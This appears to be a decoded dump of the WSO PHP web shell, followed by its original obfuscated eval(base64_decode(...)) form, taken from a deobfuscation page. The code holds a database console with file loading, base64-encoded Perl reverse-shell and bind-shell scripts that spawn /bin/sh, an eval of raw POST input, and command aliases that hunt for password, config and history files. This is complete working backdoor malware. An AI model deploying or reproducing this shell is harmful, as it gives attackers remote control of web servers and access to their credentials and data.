						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

eval(
base64_decode(
'ZXZhbChiYXNlNjRfZGVjb2RlKCdEUW8vUGp3L2NHaHdEUW9qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNTkNqOCtQRDl3YUhBS0NncHBaaWdoWlcxd2RIa29KRjlUUlZKV1JWSmJKMGhVVkZCZlZWTkZVbDlCUjBWT1ZDZGRLU2tnZXdvZ0lDQWdKSFZ6WlhKQloyVnVkSE1nUFNCaGNuSmhlU2dpUjI5dloyeGxJaXdnSWxOc2RYSndJaXdnSWsxVFRrSnZkQ0lzSUNKcFlWOWhjbU5vYVhabGNpSXNJQ0paWVc1a1pYZ2lMQ0FpVW1GdFlteGxjaUlwT3dvZ0lDQWdhV1lvY0hKbFoxOXRZWFJqYUNnbkx5Y2dMaUJwYlhCc2IyUmxLQ2Q4Snl3Z0pIVnpaWEpCWjJWdWRITXBJQzRnSnk5cEp5d2dKRjlUUlZKV1JWSmJKMGhVVkZCZlZWTkZVbDlCUjBWT1ZDZGRLU2tnZXdvZ0lDQWdJQ0FnSUdobFlXUmxjaWduU0ZSVVVDOHhMakFnTkRBMElFNXZkQ0JHYjNWdVpDY3BPd29nSUNBZ0lDQWdJR1Y0YVhRN0NpQWdJQ0I5Q24wS0NrQnBibWxmYzJWMEtDZGxjbkp2Y2w5c2IyY25MRTVWVEV3cE93cEFhVzVwWDNObGRDZ25iRzluWDJWeWNtOXljeWNzTUNrN0NrQnBibWxmYzJWMEtDZHRZWGhmWlhobFkzVjBhVzl1WDNScGJXVW5MREFwT3dwQWMyVjBYM1JwYldWZmJHbHRhWFFvTUNrN0NrQnpaWFJmYldGbmFXTmZjWFZ2ZEdWelgzSjFiblJwYldVb01DazdDa0JrWldacGJtVW9KMWRUVDE5V1JWSlRTVTlPSnl3Z0p6SXVOU2NwT3dvS2FXWW9aMlYwWDIxaFoybGpYM0YxYjNSbGMxOW5jR01vS1NrZ2V3b0pablZ1WTNScGIyNGdWMU5QYzNSeWFYQnpiR0Z6YUdWektDUmhjbkpoZVNrZ2V3b0pDWEpsZEhWeWJpQnBjMTloY25KaGVTZ2tZWEp5WVhrcElEOGdZWEp5WVhsZmJXRndLQ2RYVTA5emRISnBjSE5zWVhOb1pYTW5MQ0FrWVhKeVlYa3BJRG9nYzNSeWFYQnpiR0Z6YUdWektDUmhjbkpoZVNrN0NnbDlDZ2trWDFCUFUxUWdQU0JYVTA5emRISnBjSE5zWVhOb1pYTW9KRjlRVDFOVUtUc0tJQ0FnSUNSZlEwOVBTMGxGSUQwZ1YxTlBjM1J5YVhCemJHRnphR1Z6S0NSZlEwOVBTMGxGS1RzS2ZRb0tablZ1WTNScGIyNGdkM052VEc5bmFXNG9LU0I3Q2dsa2FXVW9Janh3Y21VZ1lXeHBaMjQ5WTJWdWRHVnlQanhtYjNKdElHMWxkR2h2WkQxd2IzTjBQbEJoYzNOM2IzSmtPaUE4YVc1d2RYUWdkSGx3WlQxd1lYTnpkMjl5WkNCdVlXMWxQWEJoYzNNK1BHbHVjSFYwSUhSNWNHVTljM1ZpYldsMElIWmhiSFZsUFNjK1BpYytQQzltYjNKdFBqd3ZjSEpsUGlJcE93cDlDZ3BtZFc1amRHbHZiaUJYVTA5elpYUmpiMjlyYVdVb0pHc3NJQ1IyS1NCN0NpQWdJQ0FrWDBOUFQwdEpSVnNrYTEwZ1BTQWtkanNLSUNBZ0lITmxkR052YjJ0cFpTZ2theXdnSkhZcE93cDlDZ3BwWmlnaFpXMXdkSGtvSkdGMWRHaGZjR0Z6Y3lrcElIc0tJQ0FnSUdsbUtHbHpjMlYwS0NSZlVFOVRWRnNuY0dGemN5ZGRLU0FtSmlBb2JXUTFLQ1JmVUU5VFZGc25jR0Z6Y3lkZEtTQTlQU0FrWVhWMGFGOXdZWE56S1NrS0lDQWdJQ0FnSUNCWFUwOXpaWFJqYjI5cmFXVW9iV1ExS0NSZlUwVlNWa1ZTV3lkSVZGUlFYMGhQVTFRblhTa3NJQ1JoZFhSb1gzQmhjM01wT3dvS0lDQWdJR2xtSUNnaGFYTnpaWFFvSkY5RFQwOUxTVVZiYldRMUtDUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YU2xkS1NCOGZDQW9KRjlEVDA5TFNVVmJiV1ExS0NSZlUwVlNWa1ZTV3lkSVZGUlFYMGhQVTFRblhTbGRJQ0U5SUNSaGRYUm9YM0JoYzNNcEtRb2dJQ0FnSUNBZ0lIZHpiMHh2WjJsdUtDazdDbjBLQ21sbUtITjBjblJ2Ykc5M1pYSW9jM1ZpYzNSeUtGQklVRjlQVXl3d0xETXBLU0E5UFNBaWQybHVJaWtLQ1NSdmN5QTlJQ2QzYVc0bk93cGxiSE5sQ2dra2IzTWdQU0FuYm1sNEp6c0tDaVJ6WVdabFgyMXZaR1VnUFNCQWFXNXBYMmRsZENnbmMyRm1aVjl0YjJSbEp5azdDbWxtS0NFa2MyRm1aVjl0YjJSbEtRb2dJQ0FnWlhKeWIzSmZjbVZ3YjNKMGFXNW5LREFwT3dvS0pHUnBjMkZpYkdWZlpuVnVZM1JwYjI1eklEMGdRR2x1YVY5blpYUW9KMlJwYzJGaWJHVmZablZ1WTNScGIyNXpKeWs3Q2lSb2IyMWxYMk4zWkNBOUlFQm5aWFJqZDJRb0tUc0thV1lvYVhOelpYUW9KRjlRVDFOVVd5ZGpKMTBwS1FvSlFHTm9aR2x5S0NSZlVFOVRWRnNuWXlkZEtUc0tKR04zWkNBOUlFQm5aWFJqZDJRb0tUc0thV1lvSkc5eklEMDlJQ2QzYVc0bktTQjdDZ2trYUc5dFpWOWpkMlFnUFNCemRISmZjbVZ3YkdGalpTZ2lYRndpTENBaUx5SXNJQ1JvYjIxbFgyTjNaQ2s3Q2dra1kzZGtJRDBnYzNSeVgzSmxjR3hoWTJVb0lseGNJaXdnSWk4aUxDQWtZM2RrS1RzS2ZRcHBaaWdrWTNka1czTjBjbXhsYmlna1kzZGtLUzB4WFNBaFBTQW5MeWNwQ2dra1kzZGtJQzQ5SUNjdkp6c0tDbWxtS0NGcGMzTmxkQ2drWDBOUFQwdEpSVnR0WkRVb0pGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRLU0F1SUNkaGFtRjRKMTBwS1FvZ0lDQWdKRjlEVDA5TFNVVmJiV1ExS0NSZlUwVlNWa1ZTV3lkSVZGUlFYMGhQVTFRblhTa2dMaUFuWVdwaGVDZGRJRDBnS0dKdmIyd3BKR1JsWm1GMWJIUmZkWE5sWDJGcVlYZzdDZ3BwWmlna2IzTWdQVDBnSjNkcGJpY3BDZ2trWVd4cFlYTmxjeUE5SUdGeWNtRjVLQW9KQ1NKTWFYTjBJRVJwY21WamRHOXllU0lnUFQ0Z0ltUnBjaUlzQ2lBZ0lDQUpJa1pwYm1RZ2FXNWtaWGd1Y0dod0lHbHVJR04xY25KbGJuUWdaR2x5SWlBOVBpQWlaR2x5SUM5eklDOTNJQzlpSUdsdVpHVjRMbkJvY0NJc0NpQWdJQ0FKSWtacGJtUWdLbU52Ym1acFp5b3VjR2h3SUdsdUlHTjFjbkpsYm5RZ1pHbHlJaUE5UGlBaVpHbHlJQzl6SUM5M0lDOWlJQ3BqYjI1bWFXY3FMbkJvY0NJc0NpQWdJQ0FKSWxOb2IzY2dZV04wYVhabElHTnZibTVsWTNScGIyNXpJaUE5UGlBaWJtVjBjM1JoZENBdFlXNGlMQW9nSUNBZ0NTSlRhRzkzSUhKMWJtNXBibWNnYzJWeWRtbGpaWE1pSUQwK0lDSnVaWFFnYzNSaGNuUWlMQW9nSUNBZ0NTSlZjMlZ5SUdGalkyOTFiblJ6SWlBOVBpQWlibVYwSUhWelpYSWlMQW9nSUNBZ0NTSlRhRzkzSUdOdmJYQjFkR1Z5Y3lJZ1BUNGdJbTVsZENCMmFXVjNJaXdLQ1FraVFWSlFJRlJoWW14bElpQTlQaUFpWVhKd0lDMWhJaXdLQ1FraVNWQWdRMjl1Wm1sbmRYSmhkR2x2YmlJZ1BUNGdJbWx3WTI5dVptbG5JQzloYkd3aUNna3BPd3BsYkhObENna2tZV3hwWVhObGN5QTlJR0Z5Y21GNUtBb2dJQWtKSWt4cGMzUWdaR2x5SWlBOVBpQWliSE1nTFd4b1lTSXNDZ2tKSW14cGMzUWdabWxzWlNCaGRIUnlhV0oxZEdWeklHOXVJR0VnVEdsdWRYZ2djMlZqYjI1a0lHVjRkR1Z1WkdWa0lHWnBiR1VnYzNsemRHVnRJaUE5UGlBaWJITmhkSFJ5SUMxMllTSXNDaUFnQ1FraWMyaHZkeUJ2Y0dWdVpXUWdjRzl5ZEhNaUlEMCtJQ0p1WlhSemRHRjBJQzFoYmlCOElHZHlaWEFnTFdrZ2JHbHpkR1Z1SWl3S0lDQWdJQ0FnSUNBaWNISnZZMlZ6Y3lCemRHRjBkWE1pSUQwK0lDSndjeUJoZFhnaUxBb0pDU0pHYVc1a0lpQTlQaUFpSWl3S0lDQUpDU0ptYVc1a0lHRnNiQ0J6ZFdsa0lHWnBiR1Z6SWlBOVBpQWlabWx1WkNBdklDMTBlWEJsSUdZZ0xYQmxjbTBnTFRBME1EQXdJQzFzY3lJc0NpQWdDUWtpWm1sdVpDQnpkV2xrSUdacGJHVnpJR2x1SUdOMWNuSmxiblFnWkdseUlpQTlQaUFpWm1sdVpDQXVJQzEwZVhCbElHWWdMWEJsY20wZ0xUQTBNREF3SUMxc2N5SXNDaUFnQ1FraVptbHVaQ0JoYkd3Z2MyZHBaQ0JtYVd4bGN5SWdQVDRnSW1acGJtUWdMeUF0ZEhsd1pTQm1JQzF3WlhKdElDMHdNakF3TUNBdGJITWlMQW9nSUFrSkltWnBibVFnYzJkcFpDQm1hV3hsY3lCcGJpQmpkWEp5Wlc1MElHUnBjaUlnUFQ0Z0ltWnBibVFnTGlBdGRIbHdaU0JtSUMxd1pYSnRJQzB3TWpBd01DQXRiSE1pTEFvZ0lBa0pJbVpwYm1RZ1kyOXVabWxuTG1sdVl5NXdhSEFnWm1sc1pYTWlJRDArSUNKbWFXNWtJQzhnTFhSNWNHVWdaaUF0Ym1GdFpTQmpiMjVtYVdjdWFXNWpMbkJvY0NJc0NpQWdDUWtpWm1sdVpDQmpiMjVtYVdjcUlHWnBiR1Z6SWlBOVBpQWlabWx1WkNBdklDMTBlWEJsSUdZZ0xXNWhiV1VnWENKamIyNW1hV2NxWENJaUxBb2dJQWtKSW1acGJtUWdZMjl1Wm1sbktpQm1hV3hsY3lCcGJpQmpkWEp5Wlc1MElHUnBjaUlnUFQ0Z0ltWnBibVFnTGlBdGRIbHdaU0JtSUMxdVlXMWxJRndpWTI5dVptbG5LbHdpSWl3S0lDQUpDU0ptYVc1a0lHRnNiQ0IzY21sMFlXSnNaU0JtYjJ4a1pYSnpJR0Z1WkNCbWFXeGxjeUlnUFQ0Z0ltWnBibVFnTHlBdGNHVnliU0F0TWlBdGJITWlMQW9nSUFrSkltWnBibVFnWVd4c0lIZHlhWFJoWW14bElHWnZiR1JsY25NZ1lXNWtJR1pwYkdWeklHbHVJR04xY25KbGJuUWdaR2x5SWlBOVBpQWlabWx1WkNBdUlDMXdaWEp0SUMweUlDMXNjeUlzQ2lBZ0NRa2labWx1WkNCaGJHd2djMlZ5ZG1salpTNXdkMlFnWm1sc1pYTWlJRDArSUNKbWFXNWtJQzhnTFhSNWNHVWdaaUF0Ym1GdFpTQnpaWEoyYVdObExuQjNaQ0lzQ2lBZ0NRa2labWx1WkNCelpYSjJhV05sTG5CM1pDQm1hV3hsY3lCcGJpQmpkWEp5Wlc1MElHUnBjaUlnUFQ0Z0ltWnBibVFnTGlBdGRIbHdaU0JtSUMxdVlXMWxJSE5sY25acFkyVXVjSGRrSWl3S0lDQUpDU0ptYVc1a0lHRnNiQ0F1YUhSd1lYTnpkMlFnWm1sc1pYTWlJRDArSUNKbWFXNWtJQzhnTFhSNWNHVWdaaUF0Ym1GdFpTQXVhSFJ3WVhOemQyUWlMQW9nSUFrSkltWnBibVFnTG1oMGNHRnpjM2RrSUdacGJHVnpJR2x1SUdOMWNuSmxiblFnWkdseUlpQTlQaUFpWm1sdVpDQXVJQzEwZVhCbElHWWdMVzVoYldVZ0xtaDBjR0Z6YzNka0lpd0tJQ0FKQ1NKbWFXNWtJR0ZzYkNBdVltRnphRjlvYVhOMGIzSjVJR1pwYkdWeklpQTlQaUFpWm1sdVpDQXZJQzEwZVhCbElHWWdMVzVoYldVZ0xtSmhjMmhmYUdsemRHOXllU0lzQ2lBZ0NRa2labWx1WkNBdVltRnphRjlvYVhOMGIzSjVJR1pwYkdWeklHbHVJR04xY25KbGJuUWdaR2x5SWlBOVBpQWlabWx1WkNBdUlDMTBlWEJsSUdZZ0xXNWhiV1VnTG1KaGMyaGZhR2x6ZEc5eWVTSXNDaUFnQ1FraVptbHVaQ0JoYkd3Z0xtWmxkR05vYldGcGJISmpJR1pwYkdWeklpQTlQaUFpWm1sdVpDQXZJQzEwZVhCbElHWWdMVzVoYldVZ0xtWmxkR05vYldGcGJISmpJaXdLSUNBSkNTSm1hVzVrSUM1bVpYUmphRzFoYVd4eVl5Qm1hV3hsY3lCcGJpQmpkWEp5Wlc1MElHUnBjaUlnUFQ0Z0ltWnBibVFnTGlBdGRIbHdaU0JtSUMxdVlXMWxJQzVtWlhSamFHMWhhV3h5WXlJc0Nna0pJa3h2WTJGMFpTSWdQVDRnSWlJc0NpQWdDUWtpYkc5allYUmxJR2gwZEhCa0xtTnZibVlnWm1sc1pYTWlJRDArSUNKc2IyTmhkR1VnYUhSMGNHUXVZMjl1WmlJc0Nna0pJbXh2WTJGMFpTQjJhRzl6ZEhNdVkyOXVaaUJtYVd4bGN5SWdQVDRnSW14dlkyRjBaU0IyYUc5emRITXVZMjl1WmlJc0Nna0pJbXh2WTJGMFpTQndjbTltZEhCa0xtTnZibVlnWm1sc1pYTWlJRDArSUNKc2IyTmhkR1VnY0hKdlpuUndaQzVqYjI1bUlpd0tDUWtpYkc5allYUmxJSEJ6ZVdKdVl5NWpiMjVtSUdacGJHVnpJaUE5UGlBaWJHOWpZWFJsSUhCemVXSnVZeTVqYjI1bUlpd0tDUWtpYkc5allYUmxJRzE1TG1OdmJtWWdabWxzWlhNaUlEMCtJQ0pzYjJOaGRHVWdiWGt1WTI5dVppSXNDZ2tKSW14dlkyRjBaU0JoWkcxcGJpNXdhSEFnWm1sc1pYTWlJRDArSW14dlkyRjBaU0JoWkcxcGJpNXdhSEFpTEFvSkNTSnNiMk5oZEdVZ1kyWm5MbkJvY0NCbWFXeGxjeUlnUFQ0Z0lteHZZMkYwWlNCalptY3VjR2h3SWl3S0NRa2liRzlqWVhSbElHTnZibVl1Y0dod0lHWnBiR1Z6SWlBOVBpQWliRzlqWVhSbElHTnZibVl1Y0dod0lpd0tDUWtpYkc5allYUmxJR052Ym1acFp5NWtZWFFnWm1sc1pYTWlJRDArSUNKc2IyTmhkR1VnWTI5dVptbG5MbVJoZENJc0Nna0pJbXh2WTJGMFpTQmpiMjVtYVdjdWNHaHdJR1pwYkdWeklpQTlQaUFpYkc5allYUmxJR052Ym1acFp5NXdhSEFpTEFvSkNTSnNiMk5oZEdVZ1kyOXVabWxuTG1sdVl5Qm1hV3hsY3lJZ1BUNGdJbXh2WTJGMFpTQmpiMjVtYVdjdWFXNWpJaXdLQ1FraWJHOWpZWFJsSUdOdmJtWnBaeTVwYm1NdWNHaHdJaUE5UGlBaWJHOWpZWFJsSUdOdmJtWnBaeTVwYm1NdWNHaHdJaXdLQ1FraWJHOWpZWFJsSUdOdmJtWnBaeTVrWldaaGRXeDBMbkJvY0NCbWFXeGxjeUlnUFQ0Z0lteHZZMkYwWlNCamIyNW1hV2N1WkdWbVlYVnNkQzV3YUhBaUxBb0pDU0pzYjJOaGRHVWdZMjl1Wm1sbktpQm1hV3hsY3lBaUlEMCtJQ0pzYjJOaGRHVWdZMjl1Wm1sbklpd0tDUWtpYkc5allYUmxJQzVqYjI1bUlHWnBiR1Z6SWowK0lteHZZMkYwWlNBbkxtTnZibVluSWl3S0NRa2liRzlqWVhSbElDNXdkMlFnWm1sc1pYTWlJRDArSUNKc2IyTmhkR1VnSnk1d2QyUW5JaXdLQ1FraWJHOWpZWFJsSUM1emNXd2dabWxzWlhNaUlEMCtJQ0pzYjJOaGRHVWdKeTV6Y1d3bklpd0tDUWtpYkc5allYUmxJQzVvZEhCaGMzTjNaQ0JtYVd4bGN5SWdQVDRnSW14dlkyRjBaU0FuTG1oMGNHRnpjM2RrSnlJc0Nna0pJbXh2WTJGMFpTQXVZbUZ6YUY5b2FYTjBiM0o1SUdacGJHVnpJaUE5UGlBaWJHOWpZWFJsSUNjdVltRnphRjlvYVhOMGIzSjVKeUlzQ2drSklteHZZMkYwWlNBdWJYbHpjV3hmYUdsemRHOXllU0JtYVd4bGN5SWdQVDRnSW14dlkyRjBaU0FuTG0xNWMzRnNYMmhwYzNSdmNua25JaXdLQ1FraWJHOWpZWFJsSUM1bVpYUmphRzFoYVd4eVl5Qm1hV3hsY3lJZ1BUNGdJbXh2WTJGMFpTQW5MbVpsZEdOb2JXRnBiSEpqSnlJc0Nna0pJbXh2WTJGMFpTQmlZV05yZFhBZ1ptbHNaWE1pSUQwK0lDSnNiMk5oZEdVZ1ltRmphM1Z3SWl3S0NRa2liRzlqWVhSbElHUjFiWEFnWm1sc1pYTWlJRDArSUNKc2IyTmhkR1VnWkhWdGNDSXNDZ2tKSW14dlkyRjBaU0J3Y21sMklHWnBiR1Z6SWlBOVBpQWliRzlqWVhSbElIQnlhWFlpQ2drcE93b0tablZ1WTNScGIyNGdkM052U0dWaFpHVnlLQ2tnZXdvSmFXWW9aVzF3ZEhrb0pGOVFUMU5VV3lkamFHRnljMlYwSjEwcEtRb0pDU1JmVUU5VFZGc25ZMmhoY25ObGRDZGRJRDBnSkVkTVQwSkJURk5iSjJSbFptRjFiSFJmWTJoaGNuTmxkQ2RkT3dvSloyeHZZbUZzSUNSamIyeHZjanNLQ1dWamFHOGdJanhvZEcxc1BqeG9aV0ZrUGp4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SjBOdmJuUmxiblF0Vkhsd1pTY2dZMjl1ZEdWdWREMG5kR1Y0ZEM5b2RHMXNPeUJqYUdGeWMyVjBQU0lnTGlBa1gxQlBVMVJiSjJOb1lYSnpaWFFuWFNBdUlDSW5QangwYVhSc1pUNGlJQzRnSkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZElDNGdJaUF0SUZkVFR5QWlJQzRnVjFOUFgxWkZVbE5KVDA0Z0xpSThMM1JwZEd4bFBnbzhjM1I1YkdVK0NtSnZaSGw3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTkRRME8yTnZiRzl5T2lObE1XVXhaVEU3ZlFwaWIyUjVMSFJrTEhSb2V5Qm1iMjUwT2lBNWNIUWdUSFZqYVdSaExGWmxjbVJoYm1FN2JXRnlaMmx1T2pBN2RtVnlkR2xqWVd3dFlXeHBaMjQ2ZEc5d08yTnZiRzl5T2lObE1XVXhaVEU3SUgwS2RHRmliR1V1YVc1bWIzc2dZMjlzYjNJNkkyWm1aanRpWVdOclozSnZkVzVrTFdOdmJHOXlPaU15TWpJN0lIMEtjM0JoYml4b01TeGhleUJqYjJ4dmNqb2dKR052Ykc5eUlDRnBiWEJ2Y25SaGJuUTdJSDBLYzNCaGJuc2dabTl1ZEMxM1pXbG5hSFE2SUdKdmJHUmxjanNnZlFwb01Yc2dZbTl5WkdWeUxXeGxablE2TlhCNElITnZiR2xrSUNSamIyeHZjanR3WVdSa2FXNW5PaUF5Y0hnZ05YQjRPMlp2Ym5RNklERTBjSFFnVm1WeVpHRnVZVHRpWVdOclozSnZkVzVrTFdOdmJHOXlPaU15TWpJN2JXRnlaMmx1T2pCd2VEc2dmUXBrYVhZdVkyOXVkR1Z1ZEhzZ2NHRmtaR2x1WnpvZ05YQjRPMjFoY21kcGJpMXNaV1owT2pWd2VEdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTXpNek03SUgwS1lYc2dkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9tNXZibVU3SUgwS1lUcG9iM1psY25zZ2RHVjRkQzFrWldOdmNtRjBhVzl1T25WdVpHVnliR2x1WlRzZ2ZRb3ViV3d4ZXlCaWIzSmtaWEk2TVhCNElITnZiR2xrSUNNME5EUTdjR0ZrWkdsdVp6bzFjSGc3YldGeVoybHVPakE3YjNabGNtWnNiM2M2SUdGMWRHODdJSDBLTG1KcFoyRnlaV0Y3SUhkcFpIUm9PakV3TUNVN2FHVnBaMmgwT2pNd01IQjRPeUI5Q21sdWNIVjBMSFJsZUhSaGNtVmhMSE5sYkdWamRIc2diV0Z5WjJsdU9qQTdZMjlzYjNJNkkyWm1aanRpWVdOclozSnZkVzVrTFdOdmJHOXlPaU0xTlRVN1ltOXlaR1Z5T2pGd2VDQnpiMnhwWkNBa1kyOXNiM0k3SUdadmJuUTZJRGx3ZENCTmIyNXZjM0JoWTJVc0owTnZkWEpwWlhJZ1RtVjNKenNnZlFwbWIzSnRleUJ0WVhKbmFXNDZNSEI0T3lCOUNpTjBiMjlzYzFSaWJIc2dkR1Y0ZEMxaGJHbG5ianBqWlc1MFpYSTdJSDBLTG5SdmIyeHpTVzV3ZXlCM2FXUjBhRG9nTXpBd2NIZ2dmUW91YldGcGJpQjBhSHQwWlhoMExXRnNhV2R1T214bFpuUTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pOV1UxWlRWbE8zMEtMbTFoYVc0Z2RISTZhRzkyWlhKN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak5XVTFaVFZsZlFvdWJERjdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pORFEwZlFvdWJESjdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNek16ZlFwd2NtVjdabTl1ZEMxbVlXMXBiSGs2UTI5MWNtbGxjaXhOYjI1dmMzQmhZMlU3ZlFvOEwzTjBlV3hsUGdvOGMyTnlhWEIwUGdvZ0lDQWdkbUZ5SUdOZklEMGdKeUlnTGlCb2RHMXNjM0JsWTJsaGJHTm9ZWEp6S0NSSFRFOUNRVXhUV3lkamQyUW5YU2tnTGlBaUp6c0tJQ0FnSUhaaGNpQmhYeUE5SUNjaUlDNGdhSFJ0YkhOd1pXTnBZV3hqYUdGeWN5aEFKRjlRVDFOVVd5ZGhKMTBwSUM0aUp3b2dJQ0FnZG1GeUlHTm9ZWEp6WlhSZklEMGdKeUlnTGlCb2RHMXNjM0JsWTJsaGJHTm9ZWEp6S0VBa1gxQlBVMVJiSjJOb1lYSnpaWFFuWFNrZ0xpSW5Pd29nSUNBZ2RtRnlJSEF4WHlBOUlDY2lJQzRnS0NoemRISndiM01vUUNSZlVFOVRWRnNuY0RFblhTd2lYRzRpS1NFOVBXWmhiSE5sS1Q4bkp6cG9kRzFzYzNCbFkybGhiR05vWVhKektDUmZVRTlUVkZzbmNERW5YU3hGVGxSZlVWVlBWRVZUS1NrZ0xpSW5Pd29nSUNBZ2RtRnlJSEF5WHlBOUlDY2lJQzRnS0NoemRISndiM01vUUNSZlVFOVRWRnNuY0RJblhTd2lYRzRpS1NFOVBXWmhiSE5sS1Q4bkp6cG9kRzFzYzNCbFkybGhiR05vWVhKektDUmZVRTlUVkZzbm